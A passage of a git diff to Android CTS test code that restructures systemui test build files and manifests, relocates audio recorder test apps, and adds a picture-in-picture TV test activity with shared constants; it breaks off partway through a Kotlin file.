--- a/tests/tests/syncmanager/apps/Android.bp
+++ b/tests/tests/syncmanager/apps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSyncManagerApp1",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/common/Android.bp b/tests/tests/syncmanager/common/Android.bp
index 2eadf26..a5e8733 100644
--- a/tests/tests/syncmanager/common/Android.bp
+++ b/tests/tests/syncmanager/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsSyncManagerCommon",
     srcs: [
diff --git a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
index 0aa79ec..39ee5b5 100644
--- a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
+++ b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
@@ -44,6 +44,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
 import androidx.test.filters.LargeTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -203,6 +204,7 @@
     }
 
     @Test
+    @FlakyTest
     public void testSoftErrorRetriesActiveApp() throws Exception {
         removeAllAccounts();
 
diff --git a/tests/tests/systemintents/Android.bp b/tests/tests/systemintents/Android.bp
index 9b17b4f..b3def56 100644
--- a/tests/tests/systemintents/Android.bp
+++ b/tests/tests/systemintents/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSystemIntentTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index 011dbfd..b8b7d26 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSystemUiTestCases",
     defaults: ["cts_defaults"],
@@ -23,14 +19,27 @@
         "cts",
         "general-tests",
     ],
-    libs: ["android.test.runner"],
+
+    libs: [
+        "android.test.runner",
+    ],
+
     static_libs: [
+        "kotlin-stdlib",
+        "kotlin-test",
+        "systemui-cts-common",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "CtsMockInputMethodLib",
         "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "androidx.test.uiautomator",
         "cts-wm-util",
         "ub-uiautomator",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
     platform_apis: true,
 }
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index c7732c2..f55ed3f 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -16,33 +16,48 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.systemui.cts"
-    android:targetSandboxVersion="2">
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+     package="android.systemui.cts"
+     android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.READ_DREAM_STATE"/>
+    <uses-permission android:name="android.permission.WRITE_DREAM_STATE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <!-- Required by flickerlib to dump window states -->
+    <uses-permission android:name="android.permission.DUMP"/>
+
     <application android:requestLegacyExternalStorage="true">
         <activity android:name=".LightBarActivity"
-                android:theme="@android:style/Theme.Material.NoActionBar"
-                android:screenOrientation="portrait"></activity>
+             android:theme="@android:style/Theme.Material.NoActionBar"
+             android:screenOrientation="portrait"/>
         <activity android:name=".LightBarThemeActivity"
-                android:theme="@style/LightBarTheme"
-                android:screenOrientation="portrait"></activity>
+             android:theme="@style/LightBarTheme"
+             android:screenOrientation="portrait"/>
         <activity android:name=".WindowInsetsActivity"
-                android:theme="@android:style/Theme.Material"
-                android:screenOrientation="portrait">
+             android:theme="@android:style/Theme.Material"
+             android:screenOrientation="portrait"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <uses-library android:name="android.test.runner" />
+
+        <service android:name=".NotificationListener"
+                 android:exported="true"
+                 android:label="TestNotificationListenerService"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.systemui.cts">
+         android:targetPackage="android.systemui.cts">
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index 927905a..74876ae 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -20,10 +20,17 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiTestCases.apk" />
+        <option name="test-file-name" value="PipTestApp.apk" />
+        <option name="test-file-name" value="AudioRecorderTestApp_AudioRecord.apk" />
+        <option name="test-file-name" value="AudioRecorderTestApp_MediaRecorder.apk" />
+        <option name="test-file-name" value="CtsMockInputMethod.apk" />
+        <option name="test-file-name" value="CtsVpnFirewallApp.apk" />
     </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.systemui.cts" />
         <option name="runtime-hint" value="10m19s" />
diff --git a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
new file mode 100644
index 0000000..ec8d0b7
--- /dev/null
+++ b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "AudioRecorderTestApp_AudioRecord",
+    static_libs: ["AudioRecorderTestApp_Base"],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml
rename to tests/tests/systemui/AudioRecorderTestApp_AudioRecord/AndroidManifest.xml
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
rename to tests/tests/systemui/AudioRecorderTestApp_AudioRecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
diff --git a/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp
new file mode 100644
index 0000000..5f6a552
--- /dev/null
+++ b/tests/tests/systemui/AudioRecorderTestApp_Base/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_library {
+    name: "AudioRecorderTestApp_Base",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml b/tests/tests/systemui/AudioRecorderTestApp_Base/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml
rename to tests/tests/systemui/AudioRecorderTestApp_Base/AndroidManifest.xml
diff --git a/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png b/tests/tests/systemui/AudioRecorderTestApp_Base/res/drawable-hdpi/ic_fg.png
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png
rename to tests/tests/systemui/AudioRecorderTestApp_Base/res/drawable-hdpi/ic_fg.png
Binary files differ
diff --git a/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java b/tests/tests/systemui/AudioRecorderTestApp_Base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
rename to tests/tests/systemui/AudioRecorderTestApp_Base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
diff --git a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
new file mode 100644
index 0000000..3e030cd
--- /dev/null
+++ b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "AudioRecorderTestApp_MediaRecorder",
+    static_libs: ["AudioRecorderTestApp_Base"],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml
rename to tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/AndroidManifest.xml
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
similarity index 100%
rename from hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
rename to tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
diff --git a/tests/tests/systemui/OWNERS b/tests/tests/systemui/OWNERS
index 22ceb12..0d94f45 100644
--- a/tests/tests/systemui/OWNERS
+++ b/tests/tests/systemui/OWNERS
@@ -1,4 +1,7 @@
 # Bug component: 181502
 evanlaird@google.com
 felkachang@google.com
-
+# Owners of the pip tests on atv:
+rgl@google.com
+sergeynv@google.com
+galinap@google.com
diff --git a/tests/tests/systemui/PipTestApp/Android.bp b/tests/tests/systemui/PipTestApp/Android.bp
new file mode 100644
index 0000000..59b5b66
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "PipTestApp",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "test_current",
+    min_sdk_version: "26",
+
+    manifest: "AndroidManifest.xml",
+    srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "kotlin-stdlib",
+        "systemui-cts-common",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/systemui/PipTestApp/AndroidManifest.xml b/tests/tests/systemui/PipTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..f2368d8
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.systemui.cts.tv.pip">
+
+    <application>
+        <activity
+            android:name=".PipTestActivity"
+            android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
+            android:exported="true"
+            android:launchMode="singleTask"
+            android:supportsPictureInPicture="true"
+            android:taskAffinity="nobody.but.PipTestActivity" />
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/systemui/PipTestApp/res/layout/keyboard_layout.xml b/tests/tests/systemui/PipTestApp/res/layout/keyboard_layout.xml
new file mode 100644
index 0000000..163c00e
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/res/layout/keyboard_layout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#ABACAB">
+
+    <EditText
+        android:id="@+id/plain_text_input"
+        android:layout_height="wrap_content"
+        android:layout_width="match_parent"
+        android:inputType="text">
+        <requestFocus/>
+    </EditText>
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/tests/systemui/PipTestApp/src/android/systemui/cts/tv/pip/PipTestActivity.kt b/tests/tests/systemui/PipTestApp/src/android/systemui/cts/tv/pip/PipTestActivity.kt
new file mode 100644
index 0000000..3bdba12
--- /dev/null
+++ b/tests/tests/systemui/PipTestApp/src/android/systemui/cts/tv/pip/PipTestActivity.kt
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv.pip
+
+import android.app.Activity
+import android.app.PictureInPictureParams
+import android.app.RemoteAction
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
+import android.graphics.Rect
+import android.media.MediaMetadata
+import android.media.session.MediaSession
+import android.media.session.PlaybackState
+import android.media.session.PlaybackState.ACTION_PAUSE
+import android.media.session.PlaybackState.ACTION_PLAY
+import android.media.session.PlaybackState.STATE_PAUSED
+import android.media.session.PlaybackState.STATE_PLAYING
+import android.media.session.PlaybackState.STATE_STOPPED
+import android.os.Bundle
+import android.systemui.tv.cts.PipActivity.ACTION_ENTER_PIP
+import android.systemui.tv.cts.PipActivity.ACTION_MEDIA_PAUSE
+import android.systemui.tv.cts.PipActivity.ACTION_MEDIA_PLAY
+import android.systemui.tv.cts.PipActivity.ACTION_SET_MEDIA_TITLE
+import android.systemui.tv.cts.PipActivity.ACTION_NO_OP
+import android.systemui.tv.cts.PipActivity.EXTRA_ASPECT_RATIO_DENOMINATOR
+import android.systemui.tv.cts.PipActivity.EXTRA_ASPECT_RATIO_NUMERATOR
+import android.systemui.tv.cts.PipActivity.EXTRA_SET_CUSTOM_ACTIONS
+import android.systemui.tv.cts.PipActivity.EXTRA_ENTER_PIP
+import android.systemui.tv.cts.PipActivity.EXTRA_MEDIA_SESSION_ACTIONS
+import android.systemui.tv.cts.PipActivity.EXTRA_MEDIA_SESSION_ACTIVE
+import android.systemui.tv.cts.PipActivity.EXTRA_MEDIA_SESSION_TITLE
+import android.systemui.tv.cts.PipActivity.EXTRA_SOURCE_RECT_HINT
+import android.systemui.tv.cts.PipActivity.EXTRA_TURN_ON_SCREEN
+import android.systemui.tv.cts.PipActivity.MEDIA_SESSION_TITLE
+import android.util.Log
+import android.util.Rational
+import java.net.URLDecoder
+
+/** A simple PiP test activity */
+class PipTestActivity : Activity() {
+    companion object {
+        private const val TAG = "PipTestActivity"
+    }
+
+    private lateinit var pipParams: PictureInPictureParams
+    private lateinit var mediaSession: MediaSession
+    private val playbackBuilder = PlaybackState.Builder()
+        .setActions(ACTION_PAUSE or ACTION_PLAY)
+        .setState(STATE_STOPPED)
+
+    private val broadcastReceiver: BroadcastReceiver = object : BroadcastReceiver() {
+        override fun onReceive(context: Context?, intent: Intent?) = handle(intent)
+    }
+
+    private val intentFilter = IntentFilter().apply {
+        addAction(ACTION_SET_MEDIA_TITLE)
+        addAction(ACTION_MEDIA_PLAY)
+        addAction(ACTION_MEDIA_PAUSE)
+        addAction(ACTION_NO_OP)
+    }
+
+    private val mediaCallback = object : MediaSession.Callback() {
+        override fun onPlay() =
+            mediaSession.setPlaybackState(playbackBuilder.setState(STATE_PLAYING).build())
+
+        override fun onPause() =
+            mediaSession.setPlaybackState(playbackBuilder.setState(STATE_PAUSED).build())
+    }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        mediaSession = MediaSession(this, MEDIA_SESSION_TITLE).apply {
+            setPlaybackState(playbackBuilder.build())
+            setCallback(mediaCallback)
+        }
+        registerReceiver(broadcastReceiver, intentFilter)
+        handle(intent)
+    }
+
+    override fun onNewIntent(intent: Intent?) = handle(intent)
+
+    private fun handle(intent: Intent?) {
+        if (intent == null) {
+            return
+        }
+
+        handleScreenExtras(intent)
+
+        handleMediaExtras(intent)
+
+        handlePipExtras(intent)
+
+        when (intent.action) {
+            ACTION_NO_OP -> {
+                // explicitly do nothing
+            }
+            ACTION_MEDIA_PLAY -> {
+                Log.d(TAG, "Playing media")
+                mediaSession.controller.transportControls.play()
+            }
+            ACTION_MEDIA_PAUSE -> {
+                Log.d(TAG, "Pausing media")
+                mediaSession.controller.transportControls.pause()
+            }
+        }
+
+        if (intent.action == ACTION_ENTER_PIP || intent.getBooleanExtra(EXTRA_ENTER_PIP, false)) {
+            Log.d(TAG, "Entering PIP. Currently in PIP = $isInPictureInPictureMode")
+            val res = enterPictureInPictureMode(pipParams)
+            Log.d(TAG, "Entered PIP = $res. Currently in PIP = $isInPictureInPictureMode")
+        }
+    }
+
+    /**
+     * Applies the pip parameters from the intent to the current pip window if there is one, or
+     * sets them for when pip mode will be entered next.
+     *
+     * Also stores the new parameters in [pipParams].
+     */
+    private fun handlePipExtras(intent: Intent) {
+        pipParams = buildPipParams(intent.extras)
+        setPictureInPictureParams(pipParams)
+    }
+
+    /**  Updates the state of the [mediaSession]. */
+    private fun handleMediaExtras(intent: Intent) {
+        if (intent.hasExtra(EXTRA_MEDIA_SESSION_ACTIVE)) {
+            intent.extras?.getBoolean(EXTRA_MEDIA_SESSION_ACTIVE)?.let {
+                Log.d(TAG, "Setting media session active = $it")
+                mediaSession.isActive = it
+            }
+        }
+
+        intent.getStringExtra(EXTRA_MEDIA_SESSION_TITLE)?.let {
+            // We expect the media session title to be url encoded.
+            // This is needed to be able to set arbitrary titles over adb
+            val title: String = URLDecoder.decode(it, "UTF-8")
+            Log.d(TAG, "Setting media session title = $title")
+            mediaSession.setMetadata(
+                MediaMetadata.Builder()
+                    .putText(MediaMetadata.METADATA_KEY_TITLE, title)
+                    .build()
+            )
+        }
+
+        if (intent.hasExtra(EXTRA_MEDIA_SESSION_ACTIONS)) {
+            val requestedActions =
+                intent.getLongExtra(EXTRA_MEDIA_SESSION_ACTIONS, ACTION_PAUSE or ACTION_PLAY)
+            mediaSession.setPlaybackState(playbackBuilder.setActions(requestedActions).build())
+        }
+    }
+
+    /** Calls [android.app.Activity.setTurnScreenOn] if needed. */
+    private fun handleScreenExtras(intent: Intent) {
+        if (intent.getBooleanExtra(EXTRA_TURN_ON_SCREEN, false)) {
+            Log.d(TAG, "Setting setTurnScreenOn")
+            setTurnScreenOn(true)
+        }
+    }
+
+    private fun buildPipParams(bundle: Bundle?): PictureInPictureParams {
+        val builder = PictureInPictureParams.Builder()
+        bundle?.run {
+            if (containsKey(EXTRA_ASPECT_RATIO_NUMERATOR) &&
+                containsKey(EXTRA_ASPECT_RATIO_DENOMINATOR)) {
+                builder.setAspectRatio(Rational(
+                    getInt(EXTRA_ASPECT_RATIO_NUMERATOR),
+                    getInt(EXTRA_ASPECT_RATIO_DENOMINATOR)))
+            }
+
+            getString(EXTRA_SOURCE_RECT_HINT)?.let {
+                builder.setSourceRectHint(Rect.unflattenFromString(it))
+            }
+
+            getParcelableArrayList<RemoteAction>(EXTRA_SET_CUSTOM_ACTIONS)?.let { actions ->
+                val names = actions.joinToString(", ") { it.title }
+                Log.d(TAG, "Setting custom pip actions: $names")
+                builder.setActions(actions)
+            }
+        }
+        return builder.build()
+    }
+
+    /** Just set the playback state without updating the position or playback speed. */
+    private fun PlaybackState.Builder.setState(state: Int) = apply {
+        setState(state, 0, 0f)
+    }
+
+    override fun onDestroy() {
+        unregisterReceiver(broadcastReceiver)
+        super.onDestroy()
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/common/Android.bp b/tests/tests/systemui/common/Android.bp
new file mode 100644
index 0000000..7a2d035
--- /dev/null
+++ b/tests/tests/systemui/common/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "systemui-cts-common",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.kt"],
+}
diff --git a/tests/tests/systemui/common/src/android/systemui/tv/cts/TestEntities.kt b/tests/tests/systemui/common/src/android/systemui/tv/cts/TestEntities.kt
new file mode 100644
index 0000000..bb82fbd
--- /dev/null
+++ b/tests/tests/systemui/common/src/android/systemui/tv/cts/TestEntities.kt
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.tv.cts
+
+import android.content.ComponentName
+
+private const val pkg = "android.systemui.cts.tv.pip"
+
+object Components {
+
+    @JvmStatic
+    fun ComponentName.activityName(): String = flattenToShortString()
+
+    @JvmStatic
+    fun ComponentName.windowName(): String = flattenToString()
+
+    @JvmField
+    val PIP_ACTIVITY: ComponentName = ComponentName.createRelative(pkg, ".PipTestActivity")
+
+    @JvmField
+    val PIP_MENU_ACTIVITY: ComponentName = ComponentName.createRelative(
+        ResourceNames.SYSTEM_UI_PACKAGE,
+        ResourceNames.WM_SHELL_PACKAGE + ".pip.tv.PipMenuActivity"
+    )
+}
+
+object PipActivity {
+    /** Instruct the app to go into pip mode */
+    const val ACTION_ENTER_PIP = "$pkg.PipTestActivity.enter_pip"
+    const val ACTION_SET_MEDIA_TITLE = "$pkg.PipTestActivity.set_media_title"
+
+    /**
+     * A no-op action that the app's broadcast receiver listens to.
+     *
+     * This action can be used to apply changes passed in extras without having to
+     * launch the activity thereby moving it out of pip.
+     */
+    const val ACTION_NO_OP = "$pkg.PipTestActivity.generic_update"
+
+    const val ACTION_MEDIA_PLAY = "$pkg.PipTestActivity.media_play"
+    const val ACTION_MEDIA_PAUSE = "$pkg.PipTestActivity.media_pause"
+
+    /** Instruct the app to go into pip mode when set to true */
+    const val EXTRA_ENTER_PIP = "enter_pip"
+
+    /** Provide a rect hint for entering pip in the form "left top right bottom" */
+    const val EXTRA_SOURCE_RECT_HINT = "source_rect_hint"
+
+    /**
+     * Boolean.
+     * Make sure the app will turn on the screen (waking up the device) upon start.
+     * This is accomplished by means of
+     * https://developer.android.com/reference/android/app/Activity#setTurnScreenOn(boolean)
+     */
+    const val EXTRA_TURN_ON_SCREEN = "turn_on_screen"
+
+    const val EXTRA_ASPECT_RATIO_DENOMINATOR = "aspect_ratio_denominator"
+    const val EXTRA_ASPECT_RATIO_NUMERATOR = "aspect_ratio_numerator"
+
+    /** Taken from [android.server.wm.PinnedStackTests] */
+    object Ratios {
+        // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMinAspectRatio
+        const val MIN_ASPECT_RATIO_NUMERATOR = 100
+        const val MIN_ASPECT_RATIO_DENOMINATOR = 239
+
+        // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMaxAspectRatio
+        const val MAX_ASPECT_RATIO_NUMERATOR = 239
+        const val MAX_ASPECT_RATIO_DENOMINATOR = 100
+    }
+
+    /** URL encoded string. Sets the title of the media session. */
+    const val EXTRA_MEDIA_SESSION_TITLE = "media_session_title"
+    /** Boolean. Controls the active status of the media session. */
+    const val EXTRA_MEDIA_SESSION_ACTIVE = "media_session_active"
+
+    /**
+     * Allows to set the [android.media.session.PlaybackState.Actions] that the media
+     * session will react to. Defaults to (ACTION_PAUSE | ACTION_PLAY).
+     */
+    const val EXTRA_MEDIA_SESSION_ACTIONS = "media_session_actions"
+
+    const val MEDIA_SESSION_TITLE = "PipTestActivity:MediaSession"
+
+    /** Set the pip menu custom actions to this [ArrayList] of [android.app.RemoteAction]. */
+    const val EXTRA_SET_CUSTOM_ACTIONS = "set_custom_actions"
+}
+
+object PipMenu {
+    const val ACTION_MENU = "PipNotification.menu"
+    const val ACTION_CLOSE = "PipNotification.close"
+}
+
+object ResourceNames {
